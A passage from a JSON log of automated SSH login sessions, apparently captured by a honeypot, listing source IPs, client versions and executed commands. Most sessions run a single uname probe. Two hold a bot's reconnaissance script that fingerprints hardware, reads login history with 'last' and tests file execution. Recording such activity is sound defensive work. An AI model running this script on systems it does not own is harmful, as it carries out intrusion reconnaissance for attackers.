)\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:35:24.029969+00:00",
  "ended_at": "2026-08-25T02:35:24.716279+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "01eae106-265c-45a0-ba44-85c27f12da8a",
  "name": "lawful-hollow-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 37016,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:34:34.173052+00:00",
  "ended_at": "2026-08-25T02:34:35.200725+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "cd149294-b1b4-4513-be8d-d34731d746d4",
  "name": "boreal-freckled-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 52968,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 162,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:30:58.160958+00:00",
  "ended_at": "2026-08-25T02:31:01.303487+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f72d7efa-6883-4c98-8ee5-1e2424dc47b3",
  "name": "shaded-regal-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 55610,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:30:46.755426+00:00",
  "ended_at": "2026-08-25T02:30:50.115557+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ad3e51e5-ee3e-4d96-98c4-3ade251073a6",
  "name": "sunlit-solar-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 38826,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 216,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:25:31.520472+00:00",
  "ended_at": "2026-08-25T02:25:34.906204+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b2413cce-a6eb-4c50-8fc8-29a9f01d4c10",
  "name": "quartz-smooth-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 35690,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:11:12.591896+00:00",
  "ended_at": "2026-08-25T02:11:15.530807+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bf0d5939-2009-419c-9d73-dc457d1a5e0d",
  "name": "vigilant-noble-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 43574,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 188,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:10:58.216386+00:00",
  "ended_at": "2026-08-25T02:11:00.914254+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fe1d4898-0d3b-4e41-a9d8-af7ce438f563",
  "name": "mottled-craggy-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51092,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:10:42.212478+00:00",
  "ended_at": "2026-08-25T02:10:48.209237+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9a4afa45-c6f9-441f-b56b-4b419d4cad88",
  "name": "silent-feral-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 53028,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 228,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:09:58.408766+00:00",
  "ended_at": "2026-08-25T02:10:02.304682+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b5079580-6257-4ec6-b414-054d18db94f9",
  "name": "muted-quaint-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 54622,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:07:53.501154+00:00",
  "ended_at": "2026-08-25T02:07:57.385675+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cc2c4d76-768f-4dd3-a21f-eeb43a05d505",
  "name": "dappled-sleepy-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 33320,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:04:08.206769+00:00",
  "ended_at": "2026-08-25T02:04:13.837132+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "32ba8f54-c544-44e1-97b0-612eec8299e5",
  "name": "amber-wooded-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 40802,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T02:01:14.578717+00:00",
  "ended_at": "2026-08-25T02:01:15.475370+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e21bc9c6-32f8-445e-b362-552fedcf9c71",
  "name": "jagged-sincere-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 43932,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:57:02.313165+00:00",
  "ended_at": "2026-08-25T01:57:08.337240+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "42aa86f0-8f1c-4a9f-97e1-c8939944855f",
  "name": "barren-prickly-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 39042,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:45:38.425951+00:00",
  "ended_at": "2026-08-25T01:45:44.521179+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "33a9e77e-a29d-40e3-b15a-6902b9156529",
  "name": "bitter-arctic-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 49704,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:45:26.518386+00:00",
  "ended_at": "2026-08-25T01:45:31.190395+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ff387eca-c1d0-45bf-b153-27b984fb4d5b",
  "name": "western-rustic-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 44174,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:38:23.691765+00:00",
  "ended_at": "2026-08-25T01:38:26.723399+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "795ef0c7-9f63-4a8c-a091-3409fd5271ee",
  "name": "barren-weathered-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 44932,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:37:39.597290+00:00",
  "ended_at": "2026-08-25T01:37:42.819311+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "66ffd293-b022-4bec-8d05-ef3ebf79e2b1",
  "name": "fleeting-sturdy-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 55724,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:36:03.008117+00:00",
  "ended_at": "2026-08-25T01:36:08.509396+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1af13093-93e9-4841-a72d-99a0db374b90",
  "name": "reedy-nautical-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 54410,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:33:47.204704+00:00",
  "ended_at": "2026-08-25T01:33:52.304168+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d2d27fa1-cf39-4e6f-adea-103c4c6965b5",
  "name": "painted-feral-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 40336,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:27:58.497931+00:00",
  "ended_at": "2026-08-25T01:28:01.703797+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "704f11ee-ae7c-4a38-86bf-b670bddadd45",
  "name": "sturdy-civil-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 43500,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:23:56.718471+00:00",
  "ended_at": "2026-08-25T01:24:02.037789+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a5b407f3-2047-4e2b-b2b5-c2d22d2cbc49",
  "name": "ivory-smooth-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 46478,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:20:47.002836+00:00",
  "ended_at": "2026-08-25T01:20:50.730122+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b6e955f9-5266-4f66-a4a0-09490691611b",
  "name": "subtle-verdant-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51912,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 240,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:18:56.190818+00:00",
  "ended_at": "2026-08-25T01:19:02.101826+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4b77ad8b-1d1d-49e3-be50-d710081018c4",
  "name": "glassy-lonesome-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 49712,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:18:41.402391+00:00",
  "ended_at": "2026-08-25T01:18:47.198305+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e91484c5-1933-417d-9812-04f558f82eb1",
  "name": "sterling-vigilant-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 47376,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:11:49.811407+00:00",
  "ended_at": "2026-08-25T01:11:52.609936+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5f657638-415c-4813-a3b7-46b92fdcd92b",
  "name": "steady-patient-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 49720,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T01:00:36.436148+00:00",
  "ended_at": "2026-08-25T01:00:37.245743+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "61ea326a-2242-4766-9dd2-65bacc94ad33",
  "name": "ginger-orderly-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 47660,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:57:00.000567+00:00",
  "ended_at": "2026-08-25T00:57:05.629027+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f1d79339-30eb-45ac-becc-2ea9076e6383",
  "name": "mindful-twilight-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 45128,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 281,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:50:12.101643+00:00",
  "ended_at": "2026-08-25T00:50:15.125319+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d06da771-8331-4695-a640-2d9bb53ccac7",
  "name": "feathered-fearless-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 56082,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:48:49.806189+00:00",
  "ended_at": "2026-08-25T00:48:54.311001+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c6772297-1ce2-45c2-bec6-0a91ee37d53b",
  "name": "plucky-bashful-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "119.209.12.20",
  "src_port": 40982,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T00:48:28.221193+00:00",
  "ended_at": "2026-08-25T00:48:29.127344+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8ca86e81-b075-4f63-bfff-15ae45af0c93",
  "name": "whispering-spirited-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 43600,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T00:41:34.555096+00:00",
  "ended_at": "2026-08-25T00:41:44.284761+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08f9a6a4-b6b9-4c69-b8fa-5ed0fec27dc4",
  "name": "languid-ancient-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 49656,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T23:56:37.548989+00:00",
  "ended_at": "2026-08-24T23:56:39.513334+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "66071ad3-b424-4d26-ae01-8f00cb7e881f",
  "name": "thawing-wooded-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 53530,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T23:40:44.292407+00:00",
  "ended_at": "2026-08-24T23:40:54.006509+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6a35804f-2311-4e9d-a188-7afa53280f36",
  "name": "fleeting-breezy-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 43336,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:53:57.555445+00:00",
  "ended_at": "2026-08-24T22:53:59.444962+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0fae0c1b-f2fe-4ae7-9db6-77cd7a6fd62c",
  "name": "amiable-steady-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 45630,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:41:32.530936+00:00",
  "ended_at": "2026-08-24T22:41:42.239370+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "99a1401a-57eb-40c3-97af-ae3737d87d33",
  "name": "plush-gallant-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 49672,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:04:32.240410+00:00",
  "ended_at": "2026-08-24T22:04:36.128798+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e8814801-bbc2-4a4d-8cde-6f24703bac17",
  "name": "whispering-muted-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 39090,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T21:49:39.370149+00:00",
  "ended_at": "2026-08-24T21:49:41.054661+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a1559b0a-820e-46fa-83ca-4045ece5fe68",
  "name": "burly-salty-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 36746,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T21:41:46.613242+00:00",
  "ended_at": "2026-08-24T21:41:56.314664+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a39cc045-91a1-4726-a763-ebb1362c6cd9",
  "name": "creaky-brazen-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 38478,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T20:49:02.392468+00:00",
  "ended_at": "2026-08-24T20:49:02.805772+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d659576a-6564-4e44-a504-b0e3cf95f8ae",
  "name": "reedy-ginger-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 42906,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T20:41:30.515001+00:00",
  "ended_at": "2026-08-24T20:41:40.224757+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc23596c-6e53-4e8c-a107-8e30b7a4b418",
  "name": "forlorn-pleasant-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 33378,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
